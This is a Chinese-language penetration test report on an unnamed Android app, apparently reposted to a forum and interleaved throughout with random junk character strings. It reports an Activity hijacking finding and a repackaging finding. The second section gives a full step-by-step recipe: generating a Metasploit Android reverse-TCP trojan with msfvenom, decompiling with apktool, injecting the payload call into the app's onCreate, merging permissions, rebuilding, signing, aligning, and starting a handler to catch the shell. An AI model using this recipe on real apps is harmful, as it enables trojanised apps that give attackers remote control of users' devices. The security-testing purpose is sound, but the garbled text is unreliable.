原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

; B& b$ S7 H- m5 |" q. @ ( q: G6 w) F: T

" B1 Y3 F( O4 ^
t! T: |. U7 f$ V0 y- `1 ?

3 c1 N7 [& ?6 h' L 8 b; W+ u( ^; r0 r

# f+ ?* y3 o+ Z9 I+ x, N9 @ L; H7 g' l" }: R$ w 文档编号：                3 }3 I+ {7 }) j& w4 S

; t7 K( k6 u# ?2 @0 G  

9 U5 b' d0 ]1 H1 w$ |1 W$ M ; v& L7 ~) {( _" x+ h

  ! ^: c) i- J, N: j2 b2 L& }

4 ^% R7 H$ N7 Z' S( a & g V3 a& g# S" B9 \   y- o7 k) R Z: h4 ]4 v 3 o% j- I; U* D3 o

7 `6 t9 t$ b( E; q: c % |+ ?0 g( S9 @4 t/ a/ I

6 q* u w" i0 k4 @   7 ~- T6 c/ P6 w1 K: @) l" Y$ q , B: b% V; F" E2 ]% I

' ]/ z* V/ m k

5 m) L7 i& h. M! z   7 h- |3 @6 |' t$ l

: G: K: u- m; @6 I | 8 O- G5 q" f( ~8 i7 a. ?# x4 p* Q 某某某APP渗透测试 + T$ I% s* h$ p! V( B; m0 ^( H

8 c% v# K+ B) F( Q5 v

; S" Y) _; F% W' M2 P) I , q7 |$ R+ K4 Y   $ a m- g* w1 B5 r

4 L$ T# B6 M* a7 v5 O % @0 X# a: c- G$ M* w

6 k! V8 c, B3 @3 H$ T+ K 5 { i: A# q' I4 Y3 E5 k/ O   ) V# x; A% _* x 1 d A; \% B4 S. g3 [

9 G! v, ]1 V4 ^' ^2 }

  + n2 |+ X$ r# z0 W: v 0 H3 J) ]; J2 w1 O& v/ }: o

2 ?. ~8 M& c( P. y( v' k* L3 R6 l F

  / X, |+ L' t; w8 F& w9 A

1 C" s* e1 u( d: I. r) H

3 h6 t( I& D" C! P/ z, }8 k 技 术 报 告 9 l( a0 _& R2 D% s- r

) c( e0 s- J! C# F* P. ] 3 W+ Z W2 M5 G9 o" J

  5 u/ }$ z/ J4 f( g1 C' S1 ` 1 m. O! u' b. B9 Z. e+ E( v

 

( a- a. k. F7 h% W/ N- B) \ . z2 H( E! W0 f1 U6 X0 R   8 n" O6 v' G6 B, T( K ' n/ `3 O; H8 L" V

; F8 I9 x* O5 S$ e3 M y 8 S& I8 u6 v5 d! o8 c! R9 P" G

5 w$ j4 y) t4 i( K   : u6 U6 s6 X$ w% Y" A& j. q

, h/ Y N9 i' J4 ?! e* H

* q2 V: J2 e' a, X   ! _9 }" S% ^; p

2 b! [ M- f( z: B . M* z, z) p; v H d8 M; Z

( v4 l; O( R2 S+ J: L* H  

  4 C0 u3 }+ e4 E# H' q

$ m; v2 Z9 G5 E% l' y! |

- E. V% e/ T7 M! w3 X; M   % E' {8 |9 G( D4 l

- p' I9 x3 d: G# T

" T$ G2 k- ]6 }0 h% A/ @3 b$ \ ; Q- @3 t1 a6 d9 H: Y( f% V! b  

7 Y# O/ O- o4 I. u" P

# b3 u$ {' D0 Q) b: w7 p0 M1 o f   / b Y3 \- T4 z9 h& P# J1 M 8 f/ U: c" `. F5 S

4 P* Z2 E+ K! X/ W# Y: ~! }* D v

/ y$ U# U5 s6 H* h2 a   4 I1 A3 j8 R% T , L0 G0 u& B# e/ b1 Y" n

  3 b2 Q3 s) ^. G! T & c9 K" s' n5 j* b: p

$ x j* @0 P3 D: A- R1 _. n( S  

% B5 `: D! C! c+ K, l, d0 b

( y% T: f: M* T; f   ! S3 b3 S: A, k; f* | ( o& d# j: o& w, u5 h

, w% n1 n+ m" e7 K$ i( s. }

2 m9 x+ Q1 x. G$ z" l2 C+ t   * `3 A" z2 f0 Q3 O- q. l

- E$ Y9 C5 [% G

6 Q' D5 U8 C+ @% @   4 B* U1 s8 v# _+ S3 m9 M9 d( U

2 y1 p, [& Y6 L* ^8 ^

  + c, [+ g8 h* I

" _# g/ x! I9 l2 J

  . s/ l+ t5 i4 t% g8 m( R

! O9 g& p, f% ~ @0 u9 U% x$ {" x& m: N 二〇二〇年 . ]( c3 J2 o6 W! V: ^

6 t8 z# N* G3 K 1 n" |5 V$ R C/ e
- d* |+ ?5 ~1 v* v+ O . l+ J% L b7 |* n" h L1 l # T/ V. |0 K P$ X8 P. N$ n

4 Z3 W0 v0 R0 @8 M& G; d+ U

, m! Y( h: W9 {/ V* ?

+ _! i, w7 ?2 N" ^$ c) T. h

1 V: l5 Q; C6 s* f) t' j 目 录

+ E6 P2 D' j4 s. b; Q

8 z5 B; \$ T8 S   9 `5 `. I3 c" C& P4 q

1 `% G, H8 S5 K9 r; c, O

" P4 r' d+ t, ^ ?% P 1 概述... 3 + q$ {& W# u+ n. I9 [ / D) ~" z: D) B

& e7 j- x r, z! i5 W; S/ k$ p

/ H# ]! M0 N0 I. k( C3 i 1.2测试时间... 3 7 t# T" M- X9 |, U0 P! `; M : j9 w5 E! y) }( h3 r+ i

( u5 ]* Y, H4 Q: z2 s

9 a3 ?/ U2 \0 X3 x. x9 o - }8 I; x! t1 V) }3 ^+ E 1.3测试对象... 3 ' M% O" M% K. \& m3 ^% M5 x

% N( j+ h0 {$ F' p

1.4测试结果... 3 & o5 }/ ~6 t9 M3 z4 _' K/ D

; s6 x: {& b7 P8 k+ ^# X5 \* G ]4 J) y- u; c/ ` 2 检测结果... 4 / z$ H: \7 i& d. u8 i6 ?) a J" I% F- {

" c8 G2 }8 }+ l2 K* ^$ o5 Y! N

8 T& q1 Q" M9 Y) j' Z& h 5 d$ Y4 A0 s; I- I 2.1 某某某... 4 ) V% l$ K- G2 j1 x

; L; L2 S2 X, _) ~) ^

2.1.1检测目标... 4 4 j4 ^; i+ N2 ?$ ]* a$ O! _

0 a$ ~/ o9 x, l4 _& e# Z. I& A

1 R; r% D% G3 O ( L0 E2 p7 d; H 2.1.2检测结果... 4 ) z' P1 t# I A1 v+ ?4 l$ y% P8 Z

" B; J+ y. r3 s8 s! `

2.1.2.1. 4

" e! ~- I2 `% Z" j( M# m

( e- E9 V" K! o% \/ A( ~" z C( X: R 2.1.2.2. 6 4 R& x/ \1 n& [6 y$ G

) a; M, m4 i& u* \

$ b/ v1 B: q4 O- W1 P2 S9 ^/ ^ $ ]! m' ^, J* v0 Q& F( K1 q W% p * T0 ]0 y* t3 G

4 h5 ~$ }+ b0 V

4 H1 r0 k; u$ i/ v
" I/ R0 D' d# S0 {5 Q- C 2 r1 E- \' S" n6 A; M& z) i 7 T( f6 U4 f) m3 Z

( b: I" H4 H# ?6 B8 n; {" D2 u 1 概述 % r! i ?& {0 {, i , t. G: c% `" L0 g3 u

" n# W$ y* ~- q

" m' b" v6 F) b% ]+ Y9 r( |; p& H 8 a: l7 d0 t! Q+ V$ v# ] 1.2测试时间

/ D: h3 r S" A& S- N $ s# D9 I. ~+ D . r6 f( @7 C3 R& b9 s- x! N1 U1 }- L4 v3 O, I. |, v0 j8 g9 |0 h0 r% i3 `9 n4 M1 Q7 f- P2 E( L m' _- b+ R6 E* F% G' l7 z+ p% `1 J- l! Q- l4 _/ v9 h, Z) k7 }" j0 F6 n8 p2 H0 _; A% u* d T1 ?3 U1 }9 s% Y! Y. S' e5 c/ l* U$ Q* ?# B7 X/ w: s( H8 q: }# P+ `" K( N; J8 j( d; X) u* S2 W6 A* v L, x

" |1 \' |0 ?4 c. H' U9 x0 u: z 3 T: l# o! I% }/ D) I% g 4 Y \1 {& v& p" N& U. V$ U. V2 u 渗透测试时间 ) R* T" R- C5 t) }% j 8 s4 d3 Y- a d: @; y " [& G0 W& R9 X. H. s# g
+ I. n y& q( u7 P6 l3 u / |9 s" H5 d4 C0 H5 I( ^6 F 1 L& \- Z$ ]3 s: P7 P; T5 b& P# E , z8 i, ?% ?; ^, N" e* x6 F 起始时间 $ H- Q/ o" m* S2 b- D" a6 f3 k& P H0 k8 ~0 ^, T3 R; y( D2 J; }2 I	+ H+ B! Y( A0 c5 r! h7 X# D( ]5 \3 O 4 A2 g4 Y( u$ |% K- g 2020年4月6日 . u3 o u: M' {! j 2 O9 S' \" A1 c C9 Z
( [- k' ]6 ^/ J7 ~# q - [& x: ^- [. v( k* H) Y 结束时间	0 M$ B. p+ h2 a! E9 K0 z9 ? & e0 ?* q1 a, Y3 ^0 i& m6 P 2020年4月9日 + Y2 _* k, i5 Q" h& F; p3 G " N2 R/ h) a- j( U7 P* I$ L K5 b* p8 Y8 S

+ k4 q3 J& W' z, V

' D2 j+ y+ G" k$ P! X 1.3测试对象 9 G x9 @! q3 N* z! p& O" g

# y. {( P& {, v) z# @

( F9 J* q& `" @# O. I 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

4 G: k7 ~0 s% `% [4 _# l( ~& `, z

& p# c! H+ ~/ v) \5 B6 B1 E+ {2 Z 表1-1 检测对象 , p( ?1 A0 g# |

, N: S: _0 [1 x, ~' L9 \; G8 H , V- g8 Y% g+ I1 C! a* Y& ?4 b+ `% X, y/ w* H% m0 Q% t/ E" X1 n9 L0 a6 ]+ _: d% h* O9 C5 Q ]- H, S( n% b! t0 [8 S1 [" B+ n' p- m1 o: M3 t, H# J8 ? E+ @/ |" q1 g# K3 U9 v6 n: H5 e0 a' ^% M9 @* K% S5 H0 v2 }3 Z6 P6 O' H, L0 T2 Q. b& s- w7 R" ^! B. r! y: c, M8 B3 ]: b# U2 F# L6 ^9 z% ]0 i

序号 # m) Y8 c5 a8 E# {6 \" d2 \/ | 6 o, k k6 K9 o	7 M1 a& k; m6 Z o 7 c* Z0 E6 m& ?& P 6 i$ ~. ^, Z+ B9 E 5 r* N* j9 G" I$ |8 J0 E% [ 测试对象 $ M) X' O7 A$ x, i	* u; M( F. s H! b& Y1 ?, | ( \( g9 ^* }, i2 y ! k9 @7 G/ c' R/ C k' A 测试地址 , B- u! k& F; ]+ W	* C; ?& {: `- u8 y6 G$ V( t0 r" k* v ! |; {# o1 g! k9 k 安全漏洞 * I4 J$ v- |' @( N ' |0 H! w9 t/ _! U / U# X |6 |! s9 M6 Z
# x t$ t9 B) j 1 # X0 G8 |3 e& Q2 |" v, O s	) _6 J1 K+ m0 d! z 0 \) `/ b5 s! {9 f9 D( }) D 某某某安卓APP * m& f: D& l8 G' Q: v) _ * L1 M5 Q9 t' `# X) F	5 z6 o$ i6 O6 ~7 u   $ ?3 G% e- s0 F* h# x ) ?9 h6 W1 W2 v& f! s+ v3 S	' u3 F( `2 x9 V2 e; L # n) p x7 E7 U0 H) H5 o/ ^ 9 l' A- [. X3 A7 g 2 3 h8 v, B# i; G4 J. { a + D/ Y( k$ \" c+ _! t 8 ^6 A/ }- H) c7 W! @6 V( \( P

1.4测试结果 0 P- S) P S, T. k9 e& @- K* s, l- |

9 U- z# H0 O8 k* u" m1 N ; L8 |$ f+ d: G9 x0 b6 t2 F+ i$ N

4 [. N* ?$ f( O! j 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： # O5 X' f6 A; `" |8 E: X5 Y5 V `

( _- O9 X; ?2 X% \0 Y0 N' z

$ k, H5 c8 O/ g- P( G   $ e a) K2 \1 t 1 I/ I6 |7 S3 I- y. b1 G2 k

$ O* ?" a1 {. s- B* }+ l. p $ R. L: d* q3 u: ]7 t4 H

0 _0 K: M; b1 t+ N0 T, m- y" n1 w7 J 0 _+ P8 G/ R/ |+ q+ X' w; ~ l* M% b4 f" q. |) Z5 h3 }5 U4 R1 _4 A2 {. y+ R) `( U, G$ N/ C/ W8 v* e& R4 n! [! f& w# k, g2 u1 P5 I) D4 X% C* y' A6 k# i3 D4 |' }$ W8 |# d2 k% v, s7 [/ K& N: x' v" `" @) q$ N/ q8 q4 _# a7 {, ^+ ^# {- Z2 s& a: q$ @! k' m1 r+ B( x* W, k1 g) u0 B9 w$ Q3 W+ Q5 H, n/ @! N+ H; T c' N9 H2 G& a( F( m N. Z$ d5 C) \" h8 ^5 d" a& e( j0 E6 h( Z! ]5 |/ W4 D/ P D$ n+ p( ~- L' y8 |+ K' D; P5 ^; V S' B! ^; s9 y/ ~7 H* ^9 C2 W, W( G: I- s' G0 c5 {& I. g7 t9 e, \5 E% P# `/ S4 @1 n- s! j# n& x& q: S: L# R* O3 w- D7 b" K. q8 e- E& O! I4 I t- @( {' d2 h" R- z- b, f4 q# U' w$ F& c) p5 i1 e" G. r6 d: X0 o* \, l) M3 t* t( b1 @4 ]! Y* r6 O; C: s9 d8 R- R$ x z e' ?4 G7 d' X/ z' N! z- a8 ~$ m0 m, t E) s3 d$ U

1 U2 W" i! \6 q7 e$ D, M1 s) C 4 G" {! M @6 y& f3 k' z( p$ T! T* p + S6 u' T* }0 \, o9 D: b# t* { 序号 ( H. N. c/ v, {1 B3 }5 Q; J / T2 k9 v5 x% l; _' m	2 P* ~: A$ c0 }: {5 s 2 t* r' e# t0 W$ _ % i% a; N: }$ W3 [ q& w# h 2 J, J0 Y. R5 G7 b. I' C 系统名称	7 x+ `# n. ^( B { / }# H ~. l2 r5 d& S# h! { . X: Z/ i+ B: S/ i% u( I 漏洞名称 ) a P- G. \- J( ^5 ]' N 0 T) M9 W2 v5 ]2 g( n" L) N' l	: t& A) X0 n: n 5 p' y0 W, y7 x 漏洞危害 ; D5 y7 A" @+ ?) e # B' Z* d5 d B% \8 n	% u2 I7 c7 S2 Q, L0 a0 v, X) H0 A $ ^* a5 r% b8 q9 s: v4 p) V, G! _ 3 Y6 Q! u6 Q6 c8 A" g4 R h2 h 修复结果 3 f5 K$ f4 }7 i8 p2 ^) S+ | M 6 j, b* M+ c! ?( ^ ! x$ A9 a* j. d# V1 J4 t
1 E0 o3 Y6 B$ a0 V# } 8 E9 Z5 R, |' P3 k4 V. D& D2 t ! V: C8 @, ` I N, U6 _ 1 2 S4 V" Y" ]4 W9 L1 q + z3 A- ]& B4 |8 s# o	0 _. k5 v& n% a$ x; ]! o* t8 G$ s ( q9 ^. W6 j# |/ G 某某某某某某APP 7 F# d- ^1 D, a3 I3 n k4 ^: a* Q" u- ^+ i	% W0 R8 r* H2 H) V1 V2 m ' c- r" V( o3 `' Q $ ^- V4 M& q3 R v" @* W1 ?. w8 X Activity 劫持 ( E8 I! @; Y* A/ x1 G 1 G& O) C l$ V ! e+ c' Y; }; C7 c% Q, `   + k8 U" L5 {: T5 O6 y/ u3 C) ~ , C% t- U' f, {; f. ~	( u4 [# o8 C; V! u0 } 高 ' b* Z1 L2 N+ n' ~ * N* q& |) ~4 i0 ?( Y0 } ! P% ?; V/ I8 l; j	" A% H% W7 _% _& v' s   6 E* d7 d0 Y! p4 r 0 d' M/ s7 r9 n5 g4 N* l # m$ D: W2 W) s0 \ 1 _3 C$ R4 C; }& V7 I+ b! M
+ ?( ~: O; {$ c4 Q. \5 a ! L4 e- T! L$ d$ G6 e & c. a8 e' Q9 \ 2 6 E# J. ?0 k% l3 v( [ ?. K, h3 e; G: W c! @- v 7 Z$ V; f; J w5 D : p6 ?1 o; q3 q. T3 Q. B7 r! S	" M. i2 H c+ J4 z3 K5 D 某某某某某某APP $ y9 r% ~" g: v2 |( Y7 h 1 _ T3 M0 ~0 e* L9 Z$ H, h5 q( a	' S: o' [( N3 N% W" n1 |) b- H ; D- j! p9 ~: \% S 反编译二次打包捆绑木马、篡改APP代码 / Y( A5 Y) p+ G8 O2 G1 D/ J 0 b8 F \: R" H5 f	4 l, P) I0 ~2 B2 O/ ?7 z& {/ N# g 高 $ b' G ?' _0 h* F$ R + V3 g/ }) g9 w; F- b1 M! R/ J 4 d# F* }2 ? D2 ^2 ?8 b& K	; E, ?3 C! n) l   . w7 {! g" U7 y' b' a' T7 [* d1 {5 s : P: H' n) o/ X2 D! Z

5 j; H2 ?$ M4 o; B3 g# z 7 K F, J1 _; R2 e, I6 _ S

8 d5 j, |' I; u( S' Z9 o& w

) f5 v- Z O! @* H. u 2 Z, \8 W! K6 K1 F   $ f- t4 |8 l8 _+ A! M( J

表1-2 测试结果 3 Y0 W, }9 f3 C* s

) {2 Y3 g* `; H+ z2 H

' F. j' K; s% R0 D+ i   " E& b% j( Y. Y

; i# |1 c7 o) z& ]1 B4 i

% {2 S$ | S% ]& K* S , Z. s# {) f6 P 2 检测结果                    # Y+ i* H( T6 q

6 C4 U8 P+ A4 o' ?9 ^" S 2.1 某某某 " z1 r- t8 m1 {: K4 x8 g' ~+ S" x 7 j+ r+ J2 X& }

! r# a: v! I5 K1 o

# R2 i, X! y# q% \/ S0 H; ^; S 2.1.1检测目标

' {& Q2 ]; h: o/ X/ ^

W( Q) J0 w5 X7 A( h) n 目标地址： 某某某某某某APP : ?- [# N) B6 L$ o8 t4 f) M3 \ 3 C" w/ |' F) c

& ]4 `, y8 f" f* j) R

! h" v3 t7 T% e9 _ . p% i+ ^8 r3 ^5 D+ `( y% R ] 2.1.2检测结果 . v3 i1 R) t% D& ^5 I

A o/ Q) c% x9 ^. @' N' i) p

4 ^& F. @; `0 d6 I- h $ z7 {! P+ L5 M/ g# G* I 2.1.2.1

8 n- o( J8 [9 H6 W& O 1 }5 G; h I7 x" r+ t" H3 | 漏洞链接地址：某某某某某某APP " V0 G* C/ ~. i" C1 i- R/ B+ `

2 y7 e1 \$ o& y$ ?+ `  

: @. u% v; T% X; ~2 U7 W 漏洞分析及取证： 5 D' o5 j& o6 N- A. q ' C- d4 `3 J% }9 V. N! S

7 `9 F' `+ O; A9 \4 e/ e$ }0 @

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： x/ E' i3 Q: U- u; \: P

. X' q! _% z1 q3 y: ~# s      2 `+ y0 y7 q8 [6 Q: l$ ]* u

! u8 j, E4 m1 o! E. @, }1 x 1 d: V3 N' e J5 k) d

                      * K, ^1 d; f* [/ p7 C

- H) L& i+ F, }# @

& \# b! ~1 z( A9 a$ g _ 7 q" P3 s, S. @, N4 y 7 W3 R8 R0 n J, }

2 p1 ?, U# ^4 \! ?) X$ R# e0 n$ C

3 D% J! Z7 p" M& r x8 ] . T8 t! A6 U( T6 R2 q

5 y% _: R3 C4 y' E @! K+ }

) @* o/ A9 S, X+ M( B# s) P 9 C8 W" b- K+ M; N8 R

漏洞危害：高 % `6 Q- R3 y* x2 i; n

5 ~3 n3 K% M3 M4 F. r0 e1 K; a* z ! H) Y# Z) x: x: B0 B: }6 \5 N : Y' O) {8 v+ \( a: m2 M6 f, J: f* {6 ?8 m' Y- ~9 v! O5 \5 `0 Z; e! S+ l" P9 N1 q, f: Q) f }# q4 D/ o1 r' X9 d+ Q6 ^1 g' m7 a/ T1 G" M& g0 r- D9 {+ t# x; A* k4 |- K. S* D1 k9 k8 n* u# y6 T2 \! }& K3 Z& ~8 i# r; ]$ |: p6 T. K, A5 p4 Z# [3 j5 ?/ w4 \$ m) L, }$ c! v7 w2 I \6 j8 j1 ?/ B! K1 A& ^' L: ~# j! z+ E4 J* T7 R! k/ D- s$ W R; i5 G9 g" b% ]' [$ M8 D. `7 R* z, B. b/ D- _1 d: D+ K

3 b! A, @: j. d9 f6 A. @5 K B , ~/ E* k% |, u/ K. v 严重程度 ) F1 ]( v, h* u0 ^: x t	+ O" j0 w( M1 w2 B 6 C9 b1 X0 y8 v. {5 D& C 高 6 ^! S( N' l+ M* c9 H; y6 [ 0 n Z! R( L2 j) u	# w3 O7 q) _. h' E d p5 V " {* q$ Y( ?" k) u% |0 F3 p+ j1 e3 y$ O ■ : C: A, k! \. d3 }: R1 G! W # I( s6 K. g5 g. l- k7 j; E 8 Y4 s, g8 ?0 O3 F: X3 w	+ e7 T& m: _% O# R! y 中 ' }# T0 a$ C f Y2 { % P. l; g. g: Y, C- Q	4 \0 j" a3 E0 G b0 G " v0 z! K% L$ I) n   + W6 {8 \' q: Z+ I: J0 S9 t0 b r& ^% \0 H% W( O	( ]" H, d# A, P) Q& Z 4 w5 @- `0 U5 D. A & W, t# z& l1 f " l+ n s% v( d2 u3 y. w 低 & E3 y1 K+ ?* Z, C+ m' O7 _) L' d O6 e0 | Z: T- u% R 5 K& r0 u* B5 l& t % _8 e$ i* x! g8 U	: B9 W. [4 h4 _2 `) v $ U+ {0 ]7 ]' ~! S4 b+ q   $ x& r7 u% \# C k. ~ 9 Z2 J( a* s7 ~* z7 m o5 j5 h

+ z$ ~4 ~# C6 B. { % Q" k0 y# x$ ^8 n. D( u4 P

; J6 ?# \5 S6 \& @   & i$ \7 h+ X" b! X% ~- T

2 |5 v. x h$ p! _

修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ' B. w& Y: l7 V# P/ D! L

, j+ t; \4 P6 A9 c1 A , i5 w7 N0 G/ C. R6 Y% Y C

7 T# O5 e1 v7 n           & ^ H# V1 v4 L+ J ) K/ F; [6 w; _) q L

: j! \! ^! n0 u; z& Z + T" {- v: H2 [# ^/ @

  ; q, o- ~) j' Z) N# F. L4 q; R* T) a2 ]

; a$ Y. S6 I$ t $ @! h' [* s% m- s0 s$ f) b 2.1.2.2 . g- X: T3 h2 h B u" q ' W- _' J" H2 M K* [; E* r

漏洞链接地址：某某某某某某APP 1 [6 e3 O7 e7 q% v0 d

( }# p' a4 S4 D

漏洞分析及取证： : E( p' C9 O+ x5 }

% e8 Y6 j+ e. L4 H8 K& N" q

# X3 z# C4 ]/ @ D$ Q! t( \7 _ E% D3 b. i7 _6 K$ P                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： * k7 i! Y O1 ~; n2 m 4 p! a; n- {8 ?

3 c2 V5 r |' G, O" l5 M/ Q ' J: R/ Z9 p) h! Q2 @! Q% f$ a 用Metasploit 生成木马 apk 5 L. N4 ~6 k5 I, C/ d

; D, j b% c5 n. j: E8 M, Y msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk - N0 c/ ?1 o% W) u9 g1 c, t

3 _6 @2 g) H6 R

! W8 C5 g% U2 x ( Q) [/ L2 p( u- M 反编译目标apk和木马apk " ~2 w8 Y2 L r$ w5 Q, G 5 D% B0 w$ \ o, H

# ?6 r6 C0 f0 n

apktool d target.apk
+ N& U. F* G# v! p2 I; x$ n0 F9 J apktool d cockhorse.apk

( h! D9 b7 ?% b3 A; S 8 u. }% d- F# `) |

木马 apk 注入目标 apk 3 ^0 o) }3 w% m" @$ ?! Z9 U1 S % `6 v6 y; M L: e) \) u9 ]0 I

. Y5 m3 {; d3 i

5 y C" q1 K2 K. a" R6 d 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

4 I6 P; C/ ~. K& v4 U! ^/ c

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 . m) `3 h# v6 A+ D: I m$ ~

% j8 g. u5 o1 j7 l3 A n6 k& w

6 {* r8 ^# x# m 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 / l/ O4 Z: P# [( i' t( H 4 d8 _7 }$ Y2 }5 q; l( R

3 W& @9 V9 y/ h! x7 ~' h + J9 I& }) E3 G3 N1 n 回编译生成最终 apk ' J9 j) O3 f: B9 D0 R6 q

& P9 [' C' l+ S 0 M) _! X3 b( X

9 ~' W* m3 k- w) \$ } + \' ?% x; f! k/ k+ ` 重新打包 : e1 }+ A+ z/ \# z0 A: f2 P4 O, P4 j% B

' P8 W' X6 g8 F( s

& U- e$ N. K }& w# N- p1 {& @; L 8 b! n6 W5 U8 ?* c+ X8 v apktool b -o repackage.apk target_app_floder ' J, \0 n; o9 M. r! k& }1 J

7 A! t9 y& |2 ]4 l: g1 Z

. X2 e" z; \5 K% \* F 创建签名文件，有的话可忽略此步骤 " V/ h" ~& N. U$ Z. X

keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                2 h2 e) p9 q+ V. ]; s5 o# t* Z( {7 _

2 K6 j0 i8 `9 T9 c* V & ~7 q+ K- z$ q

& [7 J/ y9 b3 B # z; m" c, S) |- r2 \0 \+ h 签名，以下任选其一 7 P/ a i. K% q( |% B% p 3 L4 c3 R+ R8 J! D1 @

jarsigner 方式 / Y8 }8 C! ]6 P2 v- `

% b5 L) U3 @& E& Z; e jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 0 U+ {! {0 ^/ Q& U8 [- ]

( P/ L- `4 m% i; T9 q7 H. ~

0 l7 t4 ?# s9 j4 o$ `8 a apksigner 方式

7 [" t3 O B3 A5 N! }% N0 C

apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 7 y9 c. c/ S- ^. s- Q

4 i5 [4 u5 W' }9 E0 N0 O( F 如需要禁用 v2签名 添加选项--v2-signing-enabled false 0 @1 M" i; f( x# {4 w, ~ . i! y, `1 @! h. p0 n7 k' Q" |9 G

" y% f& f0 F; t

$ l4 \$ V7 M6 M l 验证，以下任选其一

4 A+ h" Y2 d& @7 z d* E" m

- g/ }9 o U# f- M' G( R1 x4 N jarsigner方式 ) i: f) X( S. j1 C ) a' |# ]: J3 T9 d

: q" q2 T) y3 S% G4 q G

2 S. \* W. N- x0 ] jarsigner -verify repackaged.apk # _3 y( g* O3 G7 I `

- j/ y* Q# b$ a# x1 k7 G f5 S9 w& c& C) c3 `

apksigner 方式

/ [: }' }# \2 V' {6 i

" ]8 r8 v% H C- v " x3 b4 l8 O4 B% d apksigner verify -v --print-certs repackaged.apk

% M! A: c& Q6 d5 b- g* N$ O* u

. u, q X/ g2 ^' h keytool方式 3 T& k* f' f/ f0 G" x7 m

9 B2 s- |9 T6 V keytool -printcert -jarfile repackaged.apk

/ T' Y6 C; r3 [2 x q/ l/ |3 }5 h9 Q) n/ ^/ f# G

对齐 . c6 Z' y2 x/ ^1 S: [

/ D+ ^& j: z& A8 B4 A7 F) H

, z& C) F. {0 M 字节对齐优化 8 \7 |7 W0 E/ _( A" A

9 |) [& P7 H5 ^- d5 J k5 p: e/ r zipalign -v 4 repackaged.apk final.apk 9 o6 X& c! V% i k* h1 p i. @

( F) e, m8 Z5 Q8 S, A5 k4 Y$ T( a

6 F; {$ c1 z7 ~" F+ \7 w 0 g' Q2 g1 ?& u! `- [ 检查是否对齐 ( ? K+ c% T) [3 t1 m " K3 M9 x" F% S: C" d, a v

+ r$ d; G$ q# T. E* }6 F zipalign -c -v 4 final.apk - _+ H5 B# A2 X6 y$ T

" N1 \& K5 b' u' N6 y D: A! Q R4 A0 D v! ~ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 2 ]+ ^ f9 K# K4 Q' k t9 {; i7 ]6 i8 S

% `, Q- w# R# T) q& A

启动Metasploit控制台，配置参数等待上线 5 g! H5 t5 i0 B! r5 ]* R$ i

& w0 G1 O) E( o& w/ s# O1 q

在终端依次输入如下命令 2 m; l7 @, A- N# D

8 }% D9 H2 z3 r( m3 ^4 g. c( [8 q

& A, W& i+ t5 w) P4 a2 ~' g msfconsole : _8 C! k: c' c) y: ~- \

5 A! _* w8 U3 c" H/ c3 Z" Z9 T% K( e5 }

7 x3 N, Y5 p) d* k( A use exploit/multi/handler

# h- O; n0 ~1 N# Q" K& c

4 Y: X( U' `, f% O; L: [) L4 V7 r set PAYLOAD android/meterpreter/reverse_tcp ) a! f) N5 b& o1 q

% I" h) ^" j7 S; h+ H B# d8 }' B' M8 {% ?. T

0 w8 @! `0 h9 X! j L , S/ [7 T7 \: r' ]: f( X4 y. Q6 | set LHOST 192.xxx.xx.xx

: X1 |/ F4 z# n% _9 c. P 1 o: m3 l3 k) R/ I6 K7 ~ V

set LPORT 4444 : i5 C' B/ m! v" p2 X: I9 ? 5 M) A# } R+ u( [; z% G

3 j; s+ l, ]7 ]9 `" i

exploit ) S) O/ b8 h# c# Z( o 0 d) k) P' ]- z. y2 e

: v+ @- U3 `4 H: {- F6 x & w% P" x2 x( G8 y6 t+ r5 [

5 o% N, ?( D2 X , E- c( t1 m/ X% I% g( u. U 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

9 I2 U3 N, y {! n/ G B + I- F8 A: t: p- i( ] 漏洞危害：中 5 m) q6 T) N+ a, @/ Q) f' S

/ n7 d5 J8 u$ E- ]( ^5 g

2 ^0 p) t y) V7 I5 Q8 n ! O7 v1 g; X8 M5 i' I& Q4 e2 M + y7 A( S7 @6 N; Q' k- U o) A# s5 Y0 B: Y* V6 }$ m9 |, U! R2 T6 \- P- |2 H0 A1 L. ~9 ?% ?: d+ o. ]5 u7 {8 O! w3 p* j8 {% x: S, a. B! ^5 Z5 x5 v0 s) G( j6 J9 U0 c# N2 D* t1 w7 S" `. n n% @ P. C0 w" ]1 N D$ i4 l7 L7 M+ G3 {" i- b! p# k/ Z( M, g) b D* I3 V7 i' j/ i- j2 b9 z

